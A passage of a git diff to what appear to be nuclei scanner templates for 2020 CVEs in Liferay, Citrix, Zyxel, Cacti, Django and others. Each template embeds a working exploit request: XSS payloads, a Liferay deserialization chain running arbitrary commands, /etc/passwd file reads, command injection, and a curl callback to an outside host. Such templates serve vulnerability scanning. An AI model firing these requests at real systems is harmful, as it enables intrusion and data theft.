https://kc.mcafee.com/corporate/index?page=content&id=SB10332 + classification: + cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2020-7318 + cwe-id: CWE-79 + tags: cve,cve2020,xss,mcafee + +requests: + - raw: + - | + GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1 + Host: {{Hostname}} + Connection: close + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "text/html" + part: header + - type: word + words: + - "Policy Name" + - "'\">" + condition: and + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-7961.yaml b/nuclei-templates/CVE-2020/CVE-2020-7961.yaml new file mode 100644 index 0000000000..1c32b37488 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-7961.yaml @@ -0,0 +1,56 @@ +id: CVE-2020-7961 + +info: + name: Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution + author: dwisiswant0 + severity: critical + description: Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS). + reference: + - https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html + - https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html + - https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271 + - https://nvd.nist.gov/vuln/detail/CVE-2020-7961 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-7961 + cwe-id: CWE-502 + tags: cve,cve2020,rce,liferay + +requests: + - raw: + - | + POST /api/jsonws/invoke HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData + cmd2: {{command}} + + cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D + + payloads: + command: + - "systeminfo" # Windows + - "lsb_release -a" # Linux + + matchers-condition: and + matchers: + + - type: regex + condition: or + regex: + - "OS Name:.*Microsoft Windows" + - "Distributor ID:" + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + regex: + - "Microsoft Windows (.*)" + - "Distributor ID: (.*)" + +# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2020/cve-2020-8163.yaml b/nuclei-templates/CVE-2020/CVE-2020-8163.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-8163.yaml rename to nuclei-templates/CVE-2020/CVE-2020-8163.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-8191.yaml b/nuclei-templates/CVE-2020/CVE-2020-8191.yaml new file mode 100644 index 0000000000..137397c3ee --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8191.yaml @@ -0,0 +1,48 @@ +id: CVE-2020-8191 + +info: + name: Citrix ADC/Gateway - Cross-Site Scripting + author: dwisiswant0 + severity: medium + description: | + Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 contain a cross-site scripting vulnerability due to improper input validation. + reference: + - https://support.citrix.com/article/CTX276688 + - https://nvd.nist.gov/vuln/detail/CVE-2020-8191 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-8191 + cwe-id: CWE-79 + epss-score: 0.00223 + tags: cve,cve2020,citrix,xss + metadata: + max-request: 1 + +http: + - raw: + - | + POST /menu/stapp HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-NITRO-USER: xpyZxwy6 + + sid=254&pe=1,2,3,4,5&appname=%0a&au=1&username=nsroot + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: status + status: + - 200 + + - type: word + words: + - "text/html" + part: header + +# Enhanced by mp on 2022/09/02 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8193.yaml b/nuclei-templates/CVE-2020/CVE-2020-8193.yaml new file mode 100644 index 0000000000..78ea8a7a5d --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8193.yaml @@ -0,0 +1,66 @@ +id: CVE-2020-8193 +info: + name: Citrix unauthenticated LFI + author: pdteam + severity: medium + description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints. + reference: + - https://github.com/jas502n/CVE-2020-8193 + - http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html + - https://support.citrix.com/article/CTX276688 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N + cvss-score: 6.5 + cve-id: CVE-2020-8193 + cwe-id: CWE-862 + tags: cve,cve2020,citrix,lfi,kev +requests: + - raw: + - | + POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + X-NITRO-USER: xpyZxwy6 + X-NITRO-PASS: xWXHUJ56 + + + - | + GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 + Host: {{Hostname}} + - | + GET /menu/neo HTTP/1.1 + Host: {{Hostname}} + - | + GET /menu/stc HTTP/1.1 + Host: {{Hostname}} + - | + POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + X-NITRO-USER: oY39DXzQ + X-NITRO-PASS: ZuU9Y9c1 + rand_key: {{randkey}} + + + - | + POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + X-NITRO-USER: oY39DXzQ + X-NITRO-PASS: ZuU9Y9c1 + rand_key: {{randkey}} + + + cookie-reuse: true + extractors: + - type: regex + name: randkey # dynamic variable + part: body + internal: true + regex: + - "(?m)[0-9]{3,10}\\.[0-9]+" + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-8194.yaml b/nuclei-templates/CVE-2020/CVE-2020-8194.yaml new file mode 100644 index 0000000000..b42f15be5a --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8194.yaml @@ -0,0 +1,45 @@ +id: CVE-2020-8194 + +info: + name: Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection + author: dwisiswant0 + severity: medium + + description: Citrix ADC and NetScaler Gateway are susceptible to remote code injection. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18. Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allow modification of a file download. + reference: + - https://support.citrix.com/article/CTX276688 + - https://nvd.nist.gov/vuln/detail/CVE-2020-8194 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N + cvss-score: 6.5 + cve-id: CVE-2020-8194 + cwe-id: CWE-94 + epss-score: 0.97231 + tags: cve,cve2020,citrix + metadata: + max-request: 1 + +http: + - raw: + - | + GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1 + Host: {{Hostname}} + Cookie: startupapp=st + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "application/x-java-jnlp-file" + part: header + + - type: status + status: + - 200 + +# Enhanced by md on 2023/04/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8497.yaml b/nuclei-templates/CVE-2020/CVE-2020-8497.yaml new file mode 100644 index 0000000000..ac9da84e0f --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8497.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-8497 + +info: + name: Artica Pandora FMS - Arbitrary File Read + author: gy741 + severity: medium + description: In Artica Pandora FMS through 7.42, an unauthenticated attacker can read the chat history. The file is in JSON format and it contains user names, user IDs, private messages, and timestamps. + reference: + - https://k4m1ll0.com/cve-2020-8497.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-8497 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2020-8497 + cwe-id: CWE-306 + tags: cve,cve2020,fms,artica + +requests: + - method: GET + path: + - '{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"type"' + - '"id_user"' + - '"user_name"' + - '"text"' + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-8641.yaml b/nuclei-templates/CVE-2020/CVE-2020-8641.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-8641.yaml rename to nuclei-templates/CVE-2020/CVE-2020-8641.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-8644.yaml b/nuclei-templates/CVE-2020/CVE-2020-8644.yaml deleted file mode 100644 index 9f91299c9c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8644.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2020-8644 - -info: - name: playSMS <1.4.3 - Remote Code Execution - author: dbrwsky - severity: critical - description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template. - reference: - - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ - - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-8644 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-8644 - cwe-id: CWE-74 - tags: cve,cve2020,ssti,playsms,rce,unauth,kev - -requests: - - raw: - - | - GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - - | - POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - - X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password= - - cookie-reuse: true - redirects: true - max-redirects: 2 - extractors: - - type: xpath - name: csrf - part: body - attribute: value - internal: true - xpath: - - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - '4468-0202-EVC' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/07 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8654.yaml b/nuclei-templates/CVE-2020/CVE-2020-8654.yaml deleted file mode 100644 index 83629c7d1c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8654.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2020-8654 -info: - name: EyesOfNetwork 5.3 - Authenticated RCE - author: praetorian-thendrickson - severity: high - description: EyesOfNetwork version 5.1-5.3 is vulnerable to multiple exploits. Version 5.3 is vulnerable to CVE-2020-8654 (authenticated rce), CVE-2020-8655 (privesc), CVE-2020-8656 (SQLi - API version before 2.4.2), and 2020-8657 (hardcoded api key). Versions 5.1-5.3 are vulnerable to CVE-2020-9465 (SQLi). - reference: - - https://github.com/h4knet/eonrce - - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb - - https://nvd.nist.gov/vuln/detail/CVE-2020-8657 - - https://github.com/EyesOfNetworkCommunity/eonweb/issues/50 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-8654 - cwe-id: CWE-78 - tags: cve,cve2020,cisa,eyesofnetwork,rce,authenticated -requests: - - method: GET - path: - - "{{BaseURL}}/css/eonweb.css" - extractors: - - type: regex - name: version - internal: true - part: body - group: 1 - regex: - - '# VERSION : ([0-9.]+)' - matchers-condition: and - matchers: - - type: dsl - dsl: - - compare_versions(version, '< 5.4', '>= 5.1') - - type: word - part: body - words: - - "EyesOfNetwork" - - type: status - status: - - 200 diff --git a/nuclei-templates/wordpress/cve-2020-8772.yaml b/nuclei-templates/CVE-2020/CVE-2020-8772.yaml similarity index 100% rename from nuclei-templates/wordpress/cve-2020-8772.yaml rename to nuclei-templates/CVE-2020/CVE-2020-8772.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-8813.yaml b/nuclei-templates/CVE-2020/CVE-2020-8813.yaml new file mode 100644 index 0000000000..83342323b5 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8813.yaml @@ -0,0 +1,42 @@ +id: CVE-2020-8813 + +info: + name: Cacti v1.2.8 - Remote Code Execution + author: gy741 + severity: high + description: Cacti v1.2.8 is susceptible to remote code execution. This vulnerability could be exploited without authentication if "Guest Realtime Graphs" privileges are enabled. + reference: + - https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/ + - https://github.com/Cacti/cacti/releases + - https://gist.github.com/mhaskar/ebe6b74c32fd0f7e1eedf1aabfd44129 + - https://drive.google.com/file/d/1A8hxTyk_NgSp04zPX-23nPbsSDeyDFio/view + - https://nvd.nist.gov/vuln/detail/CVE-2020-8813 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-8813 + cwe-id: CWE-78 + epss-score: 0.96407 + tags: cve,cve2020,cacti,rce,oast + metadata: + max-request: 1 + +http: + - raw: + - | + GET /graph_realtime.php?action=init HTTP/1.1 + Host: {{Hostname}} + Cookie: Cacti=%3Bcurl%20http%3A//{{interactsh-url}} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: word + part: interactsh_request + words: + - "User-Agent: curl" + +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8982.yaml b/nuclei-templates/CVE-2020/CVE-2020-8982.yaml new file mode 100644 index 0000000000..93cb4b4014 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8982.yaml @@ -0,0 +1,44 @@ +id: CVE-2020-8982 + +info: + name: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read + author: dwisiswant0 + severity: high + description: Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability. + reference: + - https://support.citrix.com/article/CTX269106 + - https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view + - https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-8982 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-8982 + cwe-id: CWE-22 + cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:* + epss-score: 0.72182 + tags: cve,cve2020,citrix,lfi + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-9054.yaml b/nuclei-templates/CVE-2020/CVE-2020-9054.yaml new file mode 100644 index 0000000000..dfaeba128c --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-9054.yaml @@ -0,0 +1,34 @@ +id: CVE-2020-9054 + +info: + name: Zyxel NAS Firmware 5.21- Remote Code Execution + author: dhiyaneshDk + severity: critical + description: 'Multiple Zyxel network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device. Zyxel NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it. If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the Zyxel device. Although the web server does not run as the root user, Zyyxel devices include a setuid utility that can be leveraged to run any command with root privileges. As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges. By sending a specially-crafted HTTP POST or GET request to a vulnerable Zyyxel device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device. This may happen by directly connecting to a device if it is directly exposed to an attacker. However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices. For example, simply visiting a website can result in the compromise of any Zyyxel device that is reachable from the client system. Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 Zyyxel has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2.' + reference: + - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/ + - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml + - https://nvd.nist.gov/vuln/detail/CVE-2020-9054 + - https://kb.cert.org/vuls/id/498544/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-9054 + cwe-id: CWE-78 + tags: cve,cve2020,rce,zyxel,injection + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + +# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2020/cve-2020-9315.yaml b/nuclei-templates/CVE-2020/CVE-2020-9315.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-9315.yaml rename to nuclei-templates/CVE-2020/CVE-2020-9315.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-9376.yaml b/nuclei-templates/CVE-2020/CVE-2020-9376.yaml new file mode 100644 index 0000000000..ce1b7a0af6 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-9376.yaml @@ -0,0 +1,48 @@ +id: CVE-2020-9376 + +info: + name: D-Link DIR-610 Devices - Information Disclosure + author: whynotke + severity: high + description: | + D-Link DIR-610 devices allow information disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. + NOTE: This vulnerability only affects products that are no longer supported by the maintainer. + reference: + - https://gist.github.com/GouveaHeitor/dcbb67b301cc45adc00f8a6a2a0a590f + - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182 + - https://www.dlink.com.br/produto/dir-610/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-9376 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-9376 + cwe-id: CWE-74 + epss-score: 0.97034 + tags: cve,cve2020,dlink,disclosure,router + metadata: + max-request: 1 + +http: + - method: POST + path: + - "{{BaseURL}}/getcfg.php" + + body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 + headers: + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Admin" + - "" + - "" + condition: and + + - type: status + status: + - 200 +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-9402.yaml b/nuclei-templates/CVE-2020/CVE-2020-9402.yaml deleted file mode 100644 index 4c186f08ef..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-9402.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2020-9402 - -info: - name: Django SQL Injection - author: geeknik - severity: high - description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL. - reference: - - https://www.debian.org/security/2020/dsa-4705 - - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402 - - https://docs.djangoproject.com/en/3.0/releases/security/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-9402 - remediation: Upgrade to the latest version. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-9402 - cwe-id: CWE-89 - tags: cve,cve2020,django,sqli - -requests: - - method: GET - path: - - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1" - - matchers: - - type: word - words: - - "DatabaseError at" - - "ORA-29257:" - - "ORA-06512:" - - "Request Method:" - condition: and - -# Enhanced by mp on 2022/02/04 diff --git a/nuclei-templates/CVE-2020/cve-2020-9483.yaml b/nuclei-templates/CVE-2020/CVE-2020-9483.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-9483.yaml rename to nuclei-templates/CVE-2020/CVE-2020-9483.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-9496.yaml b/nuclei-templates/CVE-2020/CVE-2020-9496.yaml deleted file mode 100644 index 940129f9e1..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-9496.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-9496 - -info: - name: Apache OFBiz XML-RPC Java Deserialization - author: dwisiswant0 - severity: medium - description: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03 - reference: - - http://packetstormsecurity.com/files/158887/Apache-OFBiz-XML-RPC-Java-Deserialization.html - - http://packetstormsecurity.com/files/161769/Apache-OFBiz-XML-RPC-Java-Deserialization.html - - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz - - https://s.apache.org/l0994 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-9496 - cwe-id: CWE-79,CWE-502 - tags: cve,cve2020,apache,java,ofbiz - -requests: - - raw: - - | - POST /webtools/control/xmlrpc HTTP/1.1 - Host: {{Hostname}} - Origin: http://{{Hostname}} - Content-Type: application/xml - - ProjectDiscoverydwisiswant0 - - matchers-condition: and - matchers: - - type: word - words: - - "faultString" - - "No such service [ProjectDiscovery]" - - "methodResponse" - condition: and - part: body - - type: word - words: - - "Content-Type: text/xml" - part: header - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-0618.yaml b/nuclei-templates/CVE-2020/cve-2020-0618.yaml deleted file mode 100644 index 10f870957f..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-0618.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-0618 - -info: - name: RCE in SQL Server Reporting Services - author: joeldeleep - description: A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'. - severity: high - reference: - - https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ - - https://github.com/euphrat1ca/CVE-2020-0618 - tags: cve,cve2020,rce - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2020-0618 - cwe-id: CWE-502 - -requests: - - method: GET - path: - - "{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "view report" - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-10124.yaml b/nuclei-templates/CVE-2020/cve-2020-10124.yaml deleted file mode 100644 index 